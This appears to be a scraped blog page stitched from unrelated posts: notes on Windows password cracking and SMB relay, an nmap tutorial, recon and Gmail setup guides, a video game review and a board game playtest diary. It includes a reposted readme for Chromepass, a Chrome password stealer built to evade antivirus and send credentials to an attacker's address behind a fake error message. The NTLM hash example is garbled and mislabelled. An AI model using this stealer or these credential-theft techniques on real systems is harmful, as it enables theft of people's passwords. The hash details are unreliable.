cartelera familiar

Thursday, April 16, 2020

CEH: System Hacking, Cracking A Password, Understanding The LAN Manager Hash, NetBIOS DoS Attacks

Passwords are the key element of information require to access the system. Similarly, the first step is to access the system is that you should know how to crack the password of the target system. There is a fact that users selects passwords that are easy to guess. Once a password is guessed or cracked, it can be the launching point for escalating privileges, executing applications, hiding files, and covering tracks. If guessing a password fails, then passwords may be cracked manually or with automated tools such as a dictionary or brute-force method.

Cracking a Password

Passwords are stored in the Security Accounts Manager (SAM) file on a Windows system and in a password shadow file on a Linux system.

Manual password cracking involves attempting to log on with different passwords. The hacker follows these steps:

Find a valid user account (such as Administrator or Guest).
Create a list of possible passwords.
Rank the passwords from high to low probability.
Key in each password.
Try again until a successful password is found.

A hacker can also create a script file that tries each password in a list. This is still considered manual cracking, but it's time consuming and not usually effective.

A more efficient way of cracking a password is to gain access to the password file on a system. Most systems hash (one-way encrypt) a password for storage on a system. During the logon process, the password entered by the user is hashed using the same algorithm and then compared to the hashed passwords stored in the file. A hacker can attempt to gain access to the hashing algorithm stored on the server instead of trying to guess or otherwise identify the password. If the hacker is successful, they can decrypt the passwords stored on the server.

Understanding the LAN Manager Hash

Windows 2000 uses NT LAN Manager (NTLM) hashing to secure passwords in transit on the network. Depending on the password, NTLM hashing can be weak and easy to break. For example, let's say that the password is 123456abcdef . When this password is encrypted with the NTLM algorithm, it's first converted to all uppercase: 123456ABCDEF . The password is padded with null (blank) characters to make it 14 characters long: 123456ABCDEF__ . Before the password is encrypted, the 14-character string is split in half: 123456A and
BCDEF__ . Each string is individually encrypted, and the results are concatenated:

123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15

The hash is 6BF11E04AFAB197FF1E9FFDCC75575B15 .

Cracking Windows 2000 Passwords

The SAM file in Windows contains the usernames and hashed passwords. It's located in the Windows\system32\config directory. The file is locked when the operating system is running so that a hacker can't attempt to copy the file while the machine is booted to Windows.

One option for copying the SAM file is to boot to an alternate operating system such as DOS or Linux with a boot CD. Alternately, the file can be copied from the repair directory. If a system administrator uses the RDISK feature of Windows to back up the system, then a compressed copy of the SAM file called SAM._ is created in C:\windows\repair . To expand this file, use the following command at the command prompt:

C:\>expand sam._ sam

After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against the SAM file using a tool like L0phtCrack. A similar tool to L0phtcrack is Ophcrack.

Download and install ophcrack from http://ophcrack.sourceforge.net/

Redirecting the SMB Logon to the Attacker

Another way to discover passwords on a network is to redirect the Server Message Block (SMB) logon to an attacker's computer so that the passwords are sent to the hacker. In order to do this, the hacker must sniff the NTLM responses from the authentication server and trick the victim into attempting Windows authentication with the attacker's computer.

A common technique is to send the victim an email message with an embedded link to a fraudulent SMB server. When the link is clicked, the user unwittingly sends their credentials over the network.

SMBRelay

An SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle (MITM) attacks.

SMBRelay2

Similar to SMBRelay but uses NetBIOS names instead of IP addresses to capture usernames and passwords.

pwdump2

A program that extracts the password hashes from a SAM file on a Windows system. The extracted password hashes can then be run through L0phtCrack to break the passwords.

Samdump

Another program that extracts NTLM hashed passwords from a SAM file.

C2MYAZZ

A spyware program that makes Windows clients send their passwords as clear text. It displays usernames and their passwords as users attach to server resources.

NetBIOS DoS Attacks

A NetBIOS denial-of-service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS Name Service on a target Windows systems and forces the system to place its name in conflict so that the name can no longer be used. This essentially blocks the client from participating in the NetBIOS network and creates a network DoS for that system.

Start with a memorable phrase, such as "Maryhadalittlelamb"
Change every other character to uppercase, resulting in "MaRyHaDaLiTtLeLaMb"
Change a to @ and i to 1 to yield "M@RyH@D@L1TtLeL@Mb"
Drop every other pair to result in a secure repeatable password or "M@H@L1LeMb"

Now you have a password that meets all the requirements, yet can be "remade" if necessary.

Tuesday, April 14, 2020

Nmap: Getting Started Guide

Nmap is a free utility tool for network discovery, port scanning and security auditing, even though we can use it for more than that but in this article we will learn how to do these three things with nmap.

The original author of nmap is Gordon Lyon (Fyodor). Nmap is licensed under GPL v2 and has available ports in many different languages. Nmap is available for Linux, Windows, and Mac OS X. You can download your copy of nmap from their website.

Lets get started with nmap.

When performing pentests we always look for networks we are going to attack. We need to identify live hosts on the network so that we can attack them. There are plenty of tools available for finding live hosts on a network but nmap is one of the best tools for doing this job.

Lets start with simple host (target) discovery scans i,e scans that will tell us which ip address is up on our target network. Those ip addresses which are up on our target network are the ones that are assigned to a device connected on our target network. Every device on the network is going to have a unique ip address.
To perform a simple host discovery scan we use the following command

nmap -v -sn 10.10.10.0/24

flags we used in the above command are
-v for verbose output
-sn to disable port scan (we don't want to scan for ports right now)

Following the flags is the ip address of the target network on which we want to look for live hosts. The /24 at the end of the ip address is the CIDR that specifies the subnet of the network on which we are looking for live hosts.

After running the above command you should get a list of live hosts on your target network.
If you just want to know the list of ip addresses your command is going to scan, you can use the -sL flag of the nmap like this.

nmap -sL 10.10.10.0/24

this command will simply output the list of ip addresses to scan.

We sometimes want to do dns resolution (resolving ip addresses to domain names) when performing our network scans and sometimes we don't want dns resolution. While performing a host discovery scan with nmap if we want to perform dns resolution we use -R flag in our command like this:

nmap -v -sn -R 10.10.10.0/24

And if we don't want to perform dns resolution of hosts during our scan we add the -n flag to our command like this:

nmap -v -sn -n 10.10.10.0/24

After we have discovered the hosts that are up on our target network, we usually put the ip addresses of these hosts into a file for further enumeration.

Next step in our enumeration would be to detect which operating system and which ports are running on these live hosts, for that we run this command:

nmap -O -v 10.10.10.119

here we use -O (capital o not zero) for operating system detection and by default nmap performs SYN Scan for port discovery. However nmap scans for 1000 ports only by default of a particular host.

To make nmap go over a list of ip addresses in a file we use -iL flag like this:

nmap -O -v -iL targetlist

where targetlist is the name of the file which contains ip addresses that we want to perform port scan on.

To make nmap scan all the ports of a target we use the -p flag like this:

nmap -p- -v 10.10.10.121

We can also specify a range of ports using the -p flag like this:

nmap -p1-500 -v 10.10.10.121

here 1-500 means scan all the ports from 1 to 500.

We can use a number of scan techniques to discover open ports on our network but I will only discuss some of them for brevity.

We can perform a TCP SYN scan using nmap with -sS flag like this:

nmap -sS -v 10.10.10.150

We have also flags for TCP connect and ACK scans which are -sT -sA

nmap -sT -v 10.10.10.150

nmap -sA -v 10.10.10.150

We can also perform UDP scan as well instead of TCP scan using -sU flag

nmap -sU -v 10.10.10.150

We can perform TCP Null, FIN, and Xmas scans using the flags -sN, -sF, -sX

nmap -sN -v 10.10.10.150

nmap -sF -v 10.10.10.150

nmap -sX -v 10.10.10.150

If you don't know what these scans are then please visit Port Scanning Techniques and Algorithms for explanation.

After discovering the open ports on our target host, we want to enumerate what services are running on those open ports. To enumerate services and versions information on open ports we use the -sV flag like this:

nmap -sV -v 10.10.10.118

This should give us information about what services are running on what ports and what versions of those services are running on the target host.

nmap has an interesting feature called NSE nmap scripting engine. It allows users to write their own scripts, using the Lua programming language, to automate a wide variety of networking tasks. nmap ships with a diverse set of scripts which are very helpful to enumerate a target. To use the nmap default set of scripts while enumerating the target, we use the -sC flag like this:

nmap -sC -sV -v 10.10.10.118

We can also save the results of our nmap scans to a file using the -o flag like this

nmap -sC -sV -v -oA defaultscan 10.10.10.119

here -oA tells the nmap to output results in the three major formats at once and defaultscan is the name of the file that will be prepended to all the three output files.

This is the end of this short tutorial see you next time.

References:
https://nmap.org/book/scan-methods-null-fin-xmas-scan.html

More articles

CertCrunchy - Just A Silly Recon Tool That Uses Data From SSL Certificates To Find Potential Host Names

It just a silly python script that either retrieves SSL Certificate based data from online sources, currently https://crt.sh/, https://certdb.com/, https://sslmate.com/certspotter/, and https://censys.io or given an IP range it will attempt to extract host information from SSL Certificates. If you want to use Censys.io you need to register for an API key.

How to install

git clone https://github.com/joda32/CertCrunchy.git
cd CertCrunchy
sudo pip3 install -r requirements.txt

How to use it?
Very simply -d to get hostnames for a specific domain
-D to get hostnames for a list of domains (just stuff it in a line-delimited text file)
-I to retrieve and parse certificates from hosts in a netblock / IP range (e.g. 192.168.0.0/24)
-T the thread count makes stuff faster, but don't over do it
-o Output file name
-f Output format CSV or JSON, CSV is the default
for the rest, I'm still working on those :)

API keys and configs
All API keys are stored in the api_keys.py file below is a list of supported APIs requiring API keys.

Censys.oi https://censys.io
VirusTotal https://www.virustotal.com/en/documentation/public-api/

Download CertCrunchy

More information

HACKING GMAIL FOR FREE CUSTOM DOMAIN EMAIL

When it comes to email providers, there's no competitor to Google's awesome features. It is efficient which connects seamlessly with the rest of your Google products such as YouTube, Drive, has a major application called Gmail Inbox, and is overall an extremely powerful email service. However, to use it with a custom domain, you need to purchase Google Apps for either $5 or $10/month, which for casual users is a bit unnecessary. On top of that, you don't even get all of the features a personal account gets, e.g. Inbox. So, here's a free way to use your Gmail account with a custom domain. I am just going to show you hacking Gmail for free custom domain email.

SO, HOW HACKING GMAIL FOR FREE CUSTOM DOMAIN EMAIL

PASSWORD: EHT

STEPS:

First, register with Mailgun using your Gmail address. Use your Gmail only. Once you have clicked the confirm link, log in to the Mailgun website. Now you're in the dashboard, move on the right under "Custom Domains", click "Add Domain".
Follow the setup instructions and set DNS records with whoever manages your DNS. Once you've done this, click on the "Routes" link on the top to set up email forwarding.
Now move to the Route tab and click on Create New Route.
As you click the button, you will see a page like below. Just enter the information as entered in the following screenshot.
Just replace the quoted email with your desired email in the above-given screenshot.
Next, we'll setup SMTP configuration so we would be able to send emails from an actual server. Go to "Domains" tab, click on your domain name.
On this page, click "Manage your SMTP credentials" then "New SMTP Credential" on the next page.
Type in the desired SMTP credentials. And, go to Gmail settings and click "Add another email address you own". Once you open, enter the email address you wish to send from.
In the next step, set the SMTP settings as follows.
After clicking "Add Account" button, now you're done.
The final step, make sure to set it to default email in the Gmail settings > Accounts.

That's all. Now you got free Gmail custom domain with 10,000 emails per month. Hope it will work for you. If you find any issue, just comment below.

Note: Use Virtual Machine and scan on VirusTotal before downloading any program on Host Machine for your privacy.

More information

Thank You To Volunteers And Board Members That Worked BlackHat Booth 2019

The OWASP Foundation would like to thank the OWASP Las Vegas Chapter Volunteers for taking the time out of their busy schedule to give back and volunteer to work the booth at BlackHat 2019. It was great meeting our Las Vegas OWASP members and working with Jorge, Carmi, Dave, and Nancy.
Also, take a moment to thank Global Board Members Martin Knobloch, Owen Pendlebury, and Gary Robinson for also working the booth and speaking with individuals and groups to answer questions on projects and suggestions on the use of our tools to address their work problems.
OWASP can not exist without support from our members.

More information

Chromepass - Hacking Chrome Saved Passwords

Chromepass is a python-based console application that generates a windows executable with the following features:

Decrypt Chrome saved paswords
Send a file with the login/password combinations remotely (email or reverse-http)
Custom icon
Completely undetectable by AntiVirus Engines

AV Detection!
Due to the way this has been coded, it is currently fully undetected. Here are some links to scans performed using a variety of websites

VirusTotal Scan (0/68) 30-09-2019
- this is an educational project, so distribution (or the lack thereof) is not a concern, hence the usage of VirusTotal
AntiScan (0/26) 24-09-2019
Hibrid Analysis All Clean (CrowdStrike Falcon, MetaDefender and Virustotal) 24-09-2019

Getting started

Dependencies and Requirements
This is a very simple application, which uses only:

Python - Only tested on 3.7.4 but should work in 3.6+

Installation
Chromepass requires Python 3.6+ to run.
Install the dependencies:

> cd chromepass
> pip install -r requirements.txt

If any errors occur make sure you're running on the proper environment (if applcable) and that you have python 3.6+ (preferably 3.7.4). If the errors persist, try:

> python -m pip install --upgrade pip
> python -m pip install -r requirements.txt

Usage
Chromepass is very straightforward. Start by running:

> python create_server.py

It will ask you to select between two options:

(1) via email [To be fixed]
- This will ask you for an email address and a password
- It will then ask you if you wish to send to another address or to yourself
- Next, you're asked if you want to display an error message. This is a fake message that if enabled will appear when the victim opens the executable, after the passwords have been transferred.
- You can then write your own message or leave it blank
- You're done! Wait for the executable to be generated and then it's ready.
(2) via client.exe [Recommended at the moment]
- First you're asked to input an IP Address for a reverse connection. This is the address that belongs to the attacker. It can be a local IP address or a remote IP Address. If a remote address is chosen, Port Forwarding needs to be in place.
- You're then asked if you want to display an error message. This is a fake message that if enabled will appear when the victim opens the executable, after the passwords have been transferred.
- You can then write your own message or leave it blank
- You're done! Wait for the executables to be generated and then it's ready.
- The client.exe must be started before the server_ip.exe. The server_ip.exe is the file the victim receives.
Note: To set a custom icon, replace icon.ico by the desired icon with the same name and format.

Todo

Sending Real-time precise location of the victim (completed, releases next update)
Also steal Firefox passwords (Completed, releases next update)
Option of installing a backdoor allowing remote control of the victim's computer (completed, releases next update)
Support for more email providers (in progress)
Also steal passwords from other programs, such as keychains(in progress)
Add Night Mode (in progress)

Errors, Bugs and feature requests
If you find an error or a bug, please report it as an issue. If you wish to suggest a feature or an improvement please report it in the issue pages.
Please follow the templates shown when creating the issue.

Learn More
For access to a community full of aspiring computer security experts, ranging from the complete beginner to the seasoned veteran, join our Discord Server: WhiteHat Hacking
If you wish to contact me, you can do so via: marionascimento@itsec.us

Disclaimer
I am not responsible for what you do with the information and code provided. This is intended for professional or educational purposes only.

Download Chromepass

via KitPloit

Sunday, April 12, 2020

The Division 2 Review (PS4)

Written by Anthony L. Cuaycong

Title: The Division 2
Developer: Massive Entertainment
Publisher: Ubisoft
Genre: Action, Adventure, RPG
Price: $59.99
Also Available On: Steam, XB1

The launch of Tom Clancy's The Division in 2016 was met with great expectations. As an online role-playing game, it bore the expertise of developer Massive Entertainment, whose previous work in seeing Assassin's Creed: Revelations and Far Cry 3 through gave it the confidence to pledge the setting of new standards in multiplayer engagement. Needless to say, the assistance that it received from other Ubisoft subsidiaries, particularly Red Storm Entertainment, Ubisoft Reflections, and Ubisoft Annecy enabled it to meet its objectives, albeit not without growing pains.

The cutting-edge visuals, outstanding combat mechanics, and immersive setting of Tom Clancy's The Division shone from the outset, but Massive Entertainment still needed to scramble after it hit store shelves in order to address the glaring lack of content, frustrating capacity of enemies to absorb damage, paper-thin storyline, and significant technical glitches that all detracted from the overall experience. That said, it bore such promise, and met said promise soon enough, that it went on to become Ubisoft's best-selling title of all time, generating revenues north of $300 million worldwide and, in the process, ensuring the release of a sequel.

Parenthetically, Tom Clancy's The Division 2 picks up from where its predecessor left off, following the narrative seven months after events showing the devastation the release of Green Poison, a reengineered strain of smallpox, wreaked upon New York. This time, however, Washington serves as the backdrop for its progression, with the White House used by the Joint Task Force as base of operations. Gamers assume the role of an agent of the Strategic Homeland Division and help keep as much order as possible within the chaos created by a de facto civil war.

Outside of the plot, which remains paper thin, Tom Clancy's The Division 2 proves superior to its predecessor in all aspects. It certainly hits the ground running, presenting the District of Columbia as a near-perfect facsimile of its real-life representation and providing gamers with open-world choices within rewarding mission structures. Combat is straightforward, if challenging; stealth and precision marked by care are keys to survival, whether going solo or as part of groups, and regardless of the type of factions to which enemies of the moment belong. And, yes, the degrees of difficulty fluctuate, but, unlike the first offering, stay eminently fair. Thusly, a commitment to persevere prevails; failure is inevitable, but frustration does not set in because insight borne of experience does pay dividends.

In this regard, Tom Clancy's The Division 2 encourages the proper planning of skill upgrades, and in the context of group excursions. Meanwhile, skirmishes yield loot drops that expand equipment and weaponry. Side activities are offered in abundance, but invariably within the context of enriching story perspectives and stakes. For the more adventurous, there is the Dark Zone, where other gamers can and will be enemies — sometimes under the guise of collaboration. Within this area, a separate leveling regime is in place, and going rogue offers the opportunity to appreciate the challenges from the other side. In any case, the interactions underscore the sharpness with which player-versus-player scenarios are laid out.

Significantly, Tom Clancy's The Division 2 continues to receive programming support. A recent patch, for instance, enables loot targeting; map updates occur every day and show specific locations for specific gear. Moreover, it gives relevance to brand loyalty; in-game equipment makers now have items for all customizable slots, thus enabling access to bonuses. If nothing else, Ubisoft's commitment to keep tweaking the title long after release signifies sensitivity to feedback and dedication to process improvement. Future content updates promise map expansions, talent customization, and further understanding of the overarching narrative.

All told, Tom Clancy's The Division 2 keeps gamers going for more. If there's one thing developers have known to be harder than generating interest in their products, it's keeping said interest over time. Clearly, Massive Entertainment is bent on continually cultivating the interest, a decided boon in this day and age of infinite entertainment choices. Consumers are intrinsically fickle, and the sheer number of options available to them taps into this nature. Ubisoft is betting that quality breeds allegiance — and winning.

THE GOOD:

Superior to predecessor in all aspects
Combat is challenging but fair
Continued support encourages long-term commitment
Near-perfect representation of Washington, D.C.

THE BAD:

Paper-thin plot
Absence of a narrative hook
Still subject to loot fatigue

RATING: 8.5/10

Thursday, April 09, 2020

Origins 2019 -- Playtests And Interesting Pitches

Due to Corbin being born, I missed all of the conventions last year, so I was excited to get back to them this summer. Last week I flew to Columbus for the first big convention of the season, Origins.

Origins has been growing in the last few years, and it seems to me like more exhibitors are launching games at the convention. I think that with GenCon pretty much outgrowing Indianapolis, people are sick of not being able to get a hotel room, and are starting to attend Origins instead. This has led me to my hypothesis that Origins is the new GenCon.

For the time being, that's great! The convention is still much smaller than the behemoth in Indianapolis, so the crowds aren't so bad, hotels are still obtainable, and restaurants don't ALL have a horrendous wait at all hours. Sales won't be as high as at GenCon, but as they expand their dealer hall, and more and more publishers launch games there, I suspect it is very worthwhile to have a booth. I don't know that I'd recommend Origins as a publisher instead of GenCon, but I think things are moving in such a direction that pretty soon, that trade off won't seems so crazy.

Interesting Pitches

Andy and I scheduled a dozen or so pitch meetings with designers. We are getting better at weeding out unlikely candidates, so we're getting a higher rate of pitches that are interesting to us. We ended up seeing several interesting ones, and Andy took a few back to the office to test out.

Game discovery is tricky though. A good pitch can make even a bland game sound interesting, so it's important to remember that no matter how good a game sounds, no matter how good the story of the game is, you really can't make a good decision about it until you actually play, often more than once, and possibly with various different groups of people.

Playtests

I managed a few tests of two of the games I've been working on:

* Sails & Sorcery x3 (Mike's game that I'm helping develop)
Most of the time, I go to conventions with a bag full of prototypes, and between booth stuff, meetings, and everything else going on, it can sometimes be like pulling teeth to get the TMG guys to play them with me. This time was different. One of the prototypes I'm working on is Michael's game, which I'm calling Sails & Sorcery for lack of a better title. Which meant Michael was interested in it, and he encouraged several playtests.

In total, the game got played 3 times at Origins, with varying levels of success. I was fairly happy with the state of the game in my recent tests with my regular playtesters (note: mostly 3p lately), so I was pretty disappointed with the first play (4p) with Andy, Michael, and Michael's friend when a few problems reared their head:

- The downtime was too much

The current format of the game was that you take turns doing 2 roles at a time. To be honest, that format felt a little old fashioned, but I had convinced myself it wasn't that bad, and that in this type of game, some downtime and AP potential is common. But playing with people less familiar with the game (because they haven't been playing weekly like we had) was a harsh reminder that new players will suffer those effects much more than experienced players. The game took far too long, and much of that time was spent waiting for your turn to roll around.

In some of the later playtests of the weekend, we tried breaking the rounds into twice around affairs, with players getting 1 turn at a time. Initially I didn't like the sound of that, so I hadn't tried it yet, but it did help decrease down time. I'll have to investigate that some more and figure out how to do it and maintain some of the other aspects of the round structure.

- Plunder was too prevalent,

Sails & Sorcery is an area control game, where you deploy your pirates to islands and build structures in order to vie for the most influence in the scoring areas. One of the things you can do is Plunder other pirates, removing them from the board, and collecting a bounty for doing so. If you are behind in an area, you can take the lead by adding more of your pirates, or by plundering your opponents' pirates. Plundering scores you some treasure, and the short term benefit of taking the majority in the area, but the plundered pirates go back to their owner's ship to be re-deployed later. On the other hand, adding pirates to the board not only helps take over majority, but those pirates stick around to continue to have an effect on the board. So there's a theoretical balance there, and in my recent tests (mostly 3p), the balance was holding fairly well.

However, in that 4p game, plunder was far too prevalent! The rewards were a little too high, or the costs were a little too low, or the cost to recruit and deploy pirates were a little too high in comparison, so everybody went heavily into plunder, and nobody deployed pirates to the board, which meant that all pirates were swept off the board pretty much the whole game.

Some of that may have been down to groupthink, and I would have liked to see what would have happened if a player did some big recruit/deploy actions. But even still, it was clear the balance was not correct. I had some adjustments in mind already, but had previously thought they might not be necessary -- now I will definitely try them out.

- The game appeared too tactical.

In this game, there are a number of areas, and originally they all scored once in the midgame and again at the end of the game. When I first played the game, I was immediately turned off by the tedium of counting up and scoring all the areas at once, and I developed a different way to do it -- first simplifying the scoring values (now you just grab a few gold and silver coins), and also scoring just a couple of areas every round rather than all of them at once. They still all scored at the end of the game, but as a sort of final scoring phase I didn't have as big a problem with that.

One potential problem with this is that some players feel forced to fight for whichever area is scoring this round, and there's not much in the way of strategic, or long term, planning. I'm not sure that's 100% true, but even if it's not, that's what many players will feel when they first play. I'll have to watch out for this to make sure the game isn't entirely tactical, because Michael and I both want there to be a strategic aspect.

So there were some issues with that one, and I've got a list of changes I'll be trying to address some of that.

* Worker Learning x1 (Mike suggested Apotheosis as a title)

My latest game design is a worker placement game where your workers level up and get better as you play them. I had this idea a while ago, but got busy and stalled out on creating a prototype, so I recruited a friend to help co-design the game, and he was able to get a prototype together and test it, and even iterate the design a few times. Now I've been testing it and iterating a bit as well, and I got one play in at Origins.

The game worked, but wasn't well loved by the players (I played a 3p game with Andy and one other designer in the Unpub room). Some of the changes I already intended to try would address some of the issues the players had, and I've tried a few of those since Origins, and I think I've made some progress in that regard. I'll probably post separately about this game, so stay tuned if you're interested in more info.

cartelera familiar

Thursday, April 16, 2020

CEH: System Hacking, Cracking A Password, Understanding The LAN Manager Hash, NetBIOS DoS Attacks

Cracking a Password

Understanding the LAN Manager Hash

Cracking Windows 2000 Passwords

Redirecting the SMB Logon to the Attacker

SMBRelay

SMBRelay2

pwdump2

Samdump

C2MYAZZ

NetBIOS DoS Attacks

Related links

Tuesday, April 14, 2020

Nmap: Getting Started Guide

CertCrunchy - Just A Silly Recon Tool That Uses Data From SSL Certificates To Find Potential Host Names

HACKING GMAIL FOR FREE CUSTOM DOMAIN EMAIL

HACKING GMAIL FOR FREE CUSTOM DOMAIN EMAIL

SO, HOW HACKING GMAIL FOR FREE CUSTOM DOMAIN EMAIL

PASSWORD: EHT

STEPS:

More information

Thank You To Volunteers And Board Members That Worked BlackHat Booth 2019

More information

Chromepass - Hacking Chrome Saved Passwords

More articles

Sunday, April 12, 2020

The Division 2 Review (PS4)

Thursday, April 09, 2020

Origins 2019 -- Playtests And Interesting Pitches

Interesting Pitches

Playtests

Cartelera en Aragón Liberal

Contributors

Blog Archive